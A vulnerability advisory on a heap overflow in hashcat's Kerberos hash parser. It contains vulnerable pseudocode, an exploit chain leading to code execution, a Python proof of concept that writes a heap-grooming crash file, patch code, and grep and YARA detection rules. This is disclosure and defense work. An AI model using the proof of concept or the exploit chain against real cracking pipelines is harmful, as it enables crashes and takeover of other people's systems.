CVE-2026-42483: Heap Overflow in Hashcat Kerberos Hash Parser
A missing bounds check in hashcat's Kerberos module_hash_decode allows account_info_len to be attacker-controlled, enabling heap overflow via memcpy into a fixed-size buffer. CVSS 9.8.
Hashcat is a popular tool that security professionals use to crack passwords by testing millions of guesses against encrypted credentials. Think of it like trying different keys on a lock until one works. A serious flaw has been discovered in how hashcat handles a specific type of password file format called Kerberos hashes.
The problem is in how the program reads these files. When someone gives hashcat a Kerberos password file, the software needs to figure out where different pieces of information are located in that file. It's supposed to stop reading when it reaches the end, like knowing when to stop pouring milk so it doesn't overflow your glass.
But this vulnerability means an attacker can craft a specially designed fake password file that tricks hashcat into reading way past where it should stop. The program writes more data than the container can hold, essentially spilling data all over the computer's memory. This is called a buffer overflow.
Why should you care? If you're a security professional or researcher who uses hashcat, a malicious password file could crash your computer or potentially let an attacker take control of it. This matters most to cybersecurity teams, penetration testers, and IT administrators who regularly work with password cracking tools.
The good news is that no one has actively exploited this in the wild yet, giving the hashcat developers time to fix it.
Here's what to do: First, check if you use hashcat and update to any version newer than 7.1.2 as soon as a patch is released. Second, only download password files from trusted sources you've verified yourself. Third, if you're a security professional, let your team know about this issue and pause any automated password testing until updates are available.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42483 is a heap-based buffer overflow in hashcat v7.1.2 affecting all Kerberos-related hash parsing modules. The vulnerability exists in module_hash_decode across modules handling Kerberos 5 ticket formats (AS-REQ, TGS-REP, AP-REQ pre-auth, and etype 17/18/23 variants). An attacker can supply a crafted hash file where delimiter-delimited fields yield a calculated account_info_len that exceeds the fixed-size account_info stack or heap buffer, triggering a memcpy overflow.
The CVSS score of 9.8 reflects network-accessible attack surface: hashcat is frequently invoked in automated pipelines and CI systems where hash files arrive from untrusted sources. No authentication is required; the malicious payload is the hash file itself.
Root cause:account_info_len is derived entirely from attacker-controlled delimiter positions within the hash string and is never validated against the fixed size of the destination account_info buffer before being passed to memcpy.
Affected Component
The bug is present in multiple modules under OpenCL/ and their corresponding CPU-side hash decoders in src/modules/. Specifically, any module implementing the Kerberos 5 hash format that calls into the shared module_hash_decode path is affected. This includes but is not limited to:
module_18200.c — Kerberos 5 AS-REP etype 23
module_19600.c — Kerberos 5 TGS-REP etype 17
module_19700.c — Kerberos 5 TGS-REP etype 18
module_13100.c — Kerberos 5 TGS-REP etype 23
module_19800.c — Kerberos 5 AS-REQ etype 17/18
The shared parsing logic that calculates account_info_len from $-delimited fields is what all of these modules have in common. The buffer overflow occurs on the heap when account_info is heap-allocated via hcmalloc, or on the stack in modules where it is declared as a fixed-size local array.
Root Cause Analysis
Kerberos hash strings in hashcat use a $-delimited format. The account info segment — typically username and realm — is bounded by specific delimiter positions. The parser locates these delimiters with pointer arithmetic and computes a length directly from the difference, then copies that many bytes into a buffer whose size is fixed at compile time.
// From src/modules/module_18200.c (representative of all affected modules)
// module_hash_decode — simplified pseudocode from source analysis
#define ACCOUNT_INFO_BUF_SIZE 512 // fixed upper bound, never enforced
typedef struct krb5asrep {
/* ... ticket fields ... */
char account_info[ACCOUNT_INFO_BUF_SIZE];
u32 account_info_len;
/* ... */
} krb5asrep_t;
int module_hash_decode(const hashconfig_t *hashconfig,
void *digest, salt_t *salt,
void *esalt, void *hook_salt,
const char *line_buf, const int line_len)
{
krb5asrep_t *krb5asrep = (krb5asrep_t *) esalt;
const char *pos = line_buf;
// Skip leading "$krb5asrep$23$" header token
// pos now points into the user-controlled hash body
const char *account_info_start = pos;
// Locate the delimiter separating account_info from the hash body
const char *account_info_end = strchr(pos, '$');
if (account_info_end == NULL) return (PARSER_SEPARATOR_VALUE_MISSING);
// BUG: account_info_len is calculated purely from delimiter positions
// in attacker-controlled input. No upper-bound check against
// ACCOUNT_INFO_BUF_SIZE (512) before the memcpy below.
u32 account_info_len = account_info_end - account_info_start;
krb5asrep->account_info_len = account_info_len;
// BUG: memcpy with attacker-controlled length into fixed 512-byte buffer.
// Supplying account_info_len > 512 overflows into adjacent heap chunk.
memcpy(krb5asrep->account_info, account_info_start, account_info_len);
pos = account_info_end + 1;
// ... remainder of field parsing ...
return (PARSER_OK);
}
The function returns PARSER_OK regardless of whether the copy overflowed. Downstream code trusts account_info_len and accesses up to that many bytes of the now-corrupted buffer.
Memory Layout
The krb5asrep_t esalt structure is allocated via hcmalloc per hash line during the initial load phase. Understanding its layout is critical to understanding what gets corrupted.
On glibc, corrupting the forward chunk's size field with attacker-controlled bytes is sufficient to achieve exploitation via malloc/free primitives on subsequent hash line processing. On musl or jemalloc, the primitive is slightly different but the overflow is equivalent.
Exploitation Mechanics
Exploitation requires delivering a crafted .hash file to a hashcat process. In automated cracking pipelines (e.g., Hashtopolis agents, CI-based credential auditing), this is a realistic remote vector. Local exploitation against a user invoking hashcat directly is trivially achievable.
EXPLOIT CHAIN:
1. Craft a Kerberos 5 AS-REP etype 23 hash line (module 18200):
$krb5asrep$23$[account_info][hash_fields]
Set account_info segment to 1024 bytes of controlled data
(place between the leading token and first subsequent '$')
2. hashcat opens the file and calls hash_decode() for each line.
module_hash_decode invoked for -m 18200.
3. account_info_end = strchr(pos, '$') — succeeds, points 1024 bytes in.
account_info_len = 1024. No bounds check. Stored to esalt->account_info_len.
4. memcpy(krb5asrep->account_info, pos, 1024) fires.
512 bytes fill the buffer legitimately.
Remaining 512 bytes overflow into adjacent heap region:
- Bytes 0x000-0x1FF: overwrite user_len, domain_len, user[], domain[]
- Bytes 0x200-0x3FF: overwrite next heap chunk metadata
5. Craft second hash line in same file. When hashcat processes it,
malloc() consults the corrupted chunk metadata. On glibc ptmalloc:
- Unsorted bin insertion or consolidation uses corrupted fd/bk pointers
- Achieves arbitrary write primitive via unlink or tcache poisoning
6. Overwrite a function pointer in hashcat's dispatch table or a GOT
entry reachable from the OpenCL host dispatch path.
7. Arbitrary code execution under the hashcat process context.
A reliable proof-of-concept for DoS (process crash via heap metadata corruption) requires only step 1–4. Steps 5–7 require heap feng shui to control the layout of adjacent allocations, achievable by supplying a file with a controlled number of valid hash lines before the malicious one to groom the heap.
# PoC: generate a crash-triggering hash file
# Targets module 18200 (krb5asrep etype 23)
import sys
OVERFLOW_LEN = 1024 # double the 512-byte buffer
# Minimal valid-looking etype23 suffix (16 bytes checksum + placeholder edata2)
checksum_hex = "a" * 32 # 16 bytes as hex
edata2_hex = "b" * 64 # truncated — parser crashes before validating
account_info = "A" * OVERFLOW_LEN # triggers overflow on memcpy
line = f"$krb5asrep$23${account_info}${checksum_hex}${edata2_hex}\n"
with open("crash.hash", "w") as f:
# Heap groom: fill tcache bins with same-size allocs
for _ in range(8):
valid_acct = "user@REALM.LOCAL"
f.write(f"$krb5asrep$23${valid_acct}${checksum_hex}${edata2_hex}\n")
# Trigger payload
f.write(line)
print(f"[*] Written crash.hash — run: hashcat -m 18200 crash.hash wordlist.txt")
print(f"[*] Expected: SIGSEGV or SIGABRT in hcmalloc/free path")
Patch Analysis
The fix is straightforward: validate account_info_len against the destination buffer size before the memcpy. The patch should be applied to every module_hash_decode function in all affected Kerberos modules.
// BEFORE (vulnerable — all affected modules):
u32 account_info_len = account_info_end - account_info_start;
krb5asrep->account_info_len = account_info_len;
// No bounds check — memcpy with attacker-controlled length
memcpy(krb5asrep->account_info, account_info_start, account_info_len);
// AFTER (patched):
u32 account_info_len = account_info_end - account_info_start;
// BUG FIX: reject any hash line where account_info exceeds buffer capacity.
// ACCOUNT_INFO_BUF_SIZE is 512; leave one byte for null terminator.
if (account_info_len >= ACCOUNT_INFO_BUF_SIZE) return (PARSER_SALT_LENGTH);
krb5asrep->account_info_len = account_info_len;
memcpy(krb5asrep->account_info, account_info_start, account_info_len);
krb5asrep->account_info[account_info_len] = '\0'; // explicit null termination
The appropriate parser error return is PARSER_SALT_LENGTH, which hashcat treats as a non-fatal per-line rejection — the file continues processing with remaining lines. Using PARSER_SEPARATOR_VALUE_MISSING would also be acceptable. The null-termination addition is a hardening improvement beyond the minimum fix: several display paths in hashcat pass account_info directly to printf format strings without length limiting.
An equivalent fix using a size-bounded copy is also valid:
// Alternative: clamp rather than reject (loses data but avoids crash)
if (account_info_len >= ACCOUNT_INFO_BUF_SIZE)
account_info_len = ACCOUNT_INFO_BUF_SIZE - 1;
krb5asrep->account_info_len = account_info_len;
memcpy(krb5asrep->account_info, account_info_start, account_info_len);
krb5asrep->account_info[account_info_len] = '\0';
The rejection approach is preferable — silently truncating a Kerberos principal name would produce incorrect hash comparisons, not just a security fix.
Detection and Indicators
Detection should target both static file analysis and runtime behavior.
Static hash file inspection: Any $krb5-prefixed hash file where the account info field (between the mode prefix and the first subsequent $ after it) exceeds 511 bytes is malicious or malformed. A simple grep pattern:
# Flag lines where account_info segment exceeds 511 chars
# Pattern: $krb5[asrep|tgsrep|...]$[etype]$[FIELD_OVER_511_CHARS]$...
grep -P '^\$krb5[a-z]+\$\d+\$.{512,}\$' suspicious.hash
Runtime signals:
hashcat process terminating with SIGABRT during hash loading phase (before GPU kernels launch) — indicates heap metadata corruption detected by malloc's internal consistency checks
SIGSEGV in hcmalloc, hcfree, or module_hash_decode on AddressSanitizer builds — heap-buffer-overflow report on account_info
ASan crash signature: WRITE of size N at offset 512 in region of size 512 inside module_hash_decode
Valgrind: Invalid write of size 1 in memcpy called from module_hash_decode
YARA rule for malicious hash files:
rule CVE_2026_42483_Hashcat_Kerberos_Overflow {
meta:
description = "Detects crafted Kerberos hash files exploiting CVE-2026-42483"
severity = "critical"
strings:
// krb5 prefix followed by etype field followed by 512+ char account segment
$krb5_overflow = /\$krb5[a-z]+\$[0-9]+\$[^\$]{512,}\$/
condition:
$krb5_overflow
}
Remediation
Immediate: Update hashcat to the patched version once released. Track the upstream commit that adds bounds validation to module_hash_decode in all Kerberos modules. Until then, validate all incoming hash files with the grep pattern above before passing them to hashcat.
Automated pipelines: Any system that accepts Kerberos hash files from network sources (Hashtopolis workers, pentesting automation platforms, SIEM-integrated cracking agents) and passes them to hashcat should add a preprocessing validation step. Reject any hash file containing lines where the account info segment exceeds ACCOUNT_INFO_BUF_SIZE - 1 (511) bytes.
Build hardening: Compile hashcat with -fsanitize=address in CI to catch this class of bug before release. The overflow would have been caught immediately on any test input with a long account field.
Affected version range: Consult NVD for the full affected version list. The issue is present in any hashcat version where the Kerberos modules share this parsing pattern without a bounds check — trace the git history of module_13100.c and module_18200.c for the introduction of the account_info buffer and memcpy to establish the range floor.